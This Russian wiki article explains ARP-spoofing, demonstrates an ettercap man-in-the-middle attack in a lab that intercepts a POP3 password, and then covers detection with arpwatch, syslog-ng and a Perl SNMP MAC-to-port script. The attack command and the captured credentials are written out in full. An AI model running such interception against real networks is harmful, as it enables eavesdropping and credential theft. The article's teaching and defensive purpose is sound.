ARP-spoofing
Материал из Xgu.ru
Автор: Игорь Чубин (и другие)
ARP-spoofing (ARP-poisoning) — техника сетевой атаки, применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена. Относится к числу spoofing-атак.
В статье детально описана техника атаки ARP-spoofing, на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.
Протокол ARP и атаки с его использованием
Что такое и для чего нужен ARP
Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.
Дополнительная информация:
- Address Resolution Protocol — страница в Wikipedia
- RFC 826 — описание стандарта ARP
Алгоритм работы ARP
Протокол может использоваться в следующих случаях:
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.
В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.
Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)
Проблемы ARP
Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).
Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.
Самопроизвольный ARP может быть полезен в следующих случаях:
- Обновление ARP-таблиц, в частности, в кластерных системах;
- Информирование коммутаторов;
- Извещение о включении сетевого интерфейса.
Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.
Подробнее:
- Gratuitous_ARP на wiki.wireshark.org
ARP-spoofing
До выполнения ARP-spoofing'а
в ARP-таблице узлов A и B
существуют записи с IP- и MAC-адресами
друг друга.
Обмен информацией производится непосредственно
между узлами A и B. (зелёная стрелка)
В ходе выполнения ARP-spoofing'а компьютер C, выполняющий атаку, отправляет ARP-ответы (без получения запросов):
- узлу A: с IP-адресом узла B и MAC-адресом узла C;
- узлу B: с IP-адресом узла A и MAC-адресом узла C.
В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C. (красные стрелки)
После того как атака выполнена, когда компьютер A хочет передать пакет компьютеру B, он находит в ARP-таблице запись (она соответствует компьютеру C) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован — т.е. компьютеру B. (синие стрелки)
Инструменты для выполнения ARP-spoofing'а
В настоящее время существует несколько инструментов для выполнения ARP-spoofing'а, работающие как в ОС Linux, так и в ОС Windows.
Наиболее известные:
Все названные программы распространяются свободно.
Выполнение ARP-spoofing'а c помощью ettercap
[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.
- Что происходит на машине A.
- Что происходит на машине B.
- Что происходит на машине C.
Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing'а работают аналогичным образом.
- Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
- Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
- Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3
Атаку выполняет hostC против узлов hostA и hostB.
Установить ettercap принятым в системе способом:
hostC%# apt-get install ettercap
Выполнить атаку против узлов hostA и hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опции означают:
- -T — использовать текстовый (консольный) интерфейс;
- -M arp — использовать модуль ARP-spoofing'а для выполнения атаки;
- -L log — записывать журнал перехвата в файлы с именем log.*;
В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.
Пусть, например, в это время узел A
обращается к узлу B
по протоколу POP3,
классическому примеру незащищённого,
но очень распространённого протокола — проверяет почту.
hostA %# nc 192.168.15.254 110 USER user +OK PASS password +OK LIST +OK .
Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы.
После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую.
В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:
%# ls log.* log.eci log.ecp
Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:
%# etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version : NG-0.7.3
Timestamp : Thu Jun 21 12:23:11 2007
Type : LOG_INFO
1698 tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services
==================================================
IP address : 192.168.15.201
MAC address : 00:04:75:75:46:B1
...
MANUFACTURER : Sohoware
DISTANCE : 0
TYPE : LAN host
FINGERPRINT :
OPERATING SYSTEM : UNKNOWN
PORT : TCP 110 | pop-3 []
ACCOUNT : user
/ password
(192.168.15.201)
==================================================
Как видно, пароль был успешно перехвачен.
Посмотрим как на узле hostA (атакуемом)
меняется ARP-таблица
До атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Во время атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
После атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.
%# tcpdump -i eth0 arp 08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.
Методы обнаружения
arpwatch
Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.
Инсталляция и конфигурирование arpwatch
Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux.
Установка arpwatch выполняется традиционным для дистрибутива способом:
%# apt-get install arpwatch 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 124kB of archives. After unpacking 389kB of additional disk space will be used. Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB] Fetched 124kB in 0s (177kB/s) Selecting previously deselected package arpwatch. (Reading database ... 22406 files and directories currently installed.) Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ... Setting up arpwatch (2.1a13-2) ... Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.
После того как демон проинсталлирован, он автоматически запускается. (в других системах его, возможно, нужно будет запускать вручную.)
%# ps aux | grep arpwatch arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch
Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf).
При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:
%# vi /etc/default/arpwatch %# cat /etc/default/arpwatch # Global options for arpwatch(8). # Debian: don't report bogons, don't use PROMISC. ARGS="-N -p" # Debian: run as `arpwatch' user. Empty this to run as root. RUNAS="arpwatch"
Если конфигурация была изменена, демон должен быть перезапущен:
%# /etc/init.d/arpwatch restart
Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog.
Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:
# tail -f /var/log/daemon.log Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0 Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Обратите внимание на строку
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.
Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.
Дополнительная информация
- LBNL's Network Research Group — домашняя страница arpwatch
Обнаружение узла, выполняющего ARP-spoofing
- Основная статья: Поиск хоста по MAC-адресу
Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.
Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.
Условия для использования скрипта:
- скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
- скрипт должен быть исполняемым (chmod +x mac2port) или вызываться с интерпретатором perl;
- в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
- коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).
Пример использования скрипта:
%# ./mac2port 0:4:76:a1:ef:bb -> 1 0:a:1:d4:d1:e3 -> 2 0:15:60:79:8e:c0 -> 0 0:4:75:75:46:b1 -> 3 0:a:1:d4:d1:39 -> 44
Если ранее с помощью arpwatch была зафиксирована атака:
%# cat /var/log/daemon.log | grep 'changed ethernet address' Jun 21 08:37:09 s_all@linux2/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):
%# mac=$(cat /var/log/daemon.log | grep 'changed ethernet address' | awk '{print $10}')
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 -> 2
Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.
Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.
Например, если используется syslog-ng.
можно создать скрипт, выполняющий анализ:
/usr/local/bin/syslog-ng-arpwatch
#!/bin/sh
PATH=$PATH:/usr/local/bin
while read line
do
mac="$(echo $line | grep 'changed ethernet address' | awk '{print $10}')"
[ -z "$mac"] && continue
( echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac" )| logger -t arp-spoofing
done
и подключить его к syslog-ng.
Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:
destination dp_arpspoofing {
program("/usr/local/bin/syslog-ng-arpwatch");
};
filter f_arpspoofing {
match ("arpwatch");
};
log {
source(s_all);
filter (f_arpspoofing);
destination(dp_arpspoofing);
};
Строку
filter (f_arpspoofing);
можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку.
В этом случае при выполнении arp-spoofing'а происходит следующее:
- Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
- В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch, если видит, что проблема действительная связана с ARP-spoofing'ом, вызывает скрипт поиска порта по MAC-адресу;
- Скрипт mac2port обращается к коммутатору по SNMP;
- Коммутатор отвечает — передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
- Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
- Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
- Администратор читает об обнаруженной атаке в файле.
Вот как это выглядит в файле:
Jun 21 13:55:23 s_all@linux3 arp-spoofing: POSSIBLY ARP-SPOOFING FROM: Jun 21 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2
Текст скрипта mac2port
#!/usr/bin/perl
our $community = "public";
our $switch = "192.168.15.100";
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
or die "Can't run snmpwalk";
while (<SNMP>)
{
chomp;
s@.1.3.6.1.2.1.17.4.3.1.1@@;
my ($oid, $mac) = split /=\s*/;
$_=$mac;
s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@g;
$mac_table{$_}=$oid;
}
close(SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
or die "Can't run snmpwalk";
while (<SNMP>)
{
chomp;
s@.1.3.6.1.2.1.17.4.3.1.2@@;
my ($oid, $port) = split /=/;
$ports_table{$oid}=$port;
}
close(SNMP);
for $oid (keys %mac_table) {
print "$oid -> ".$ports_table{$mac_table{$oid}}."\n";
}
Generated by GNU enscript 1.6.4.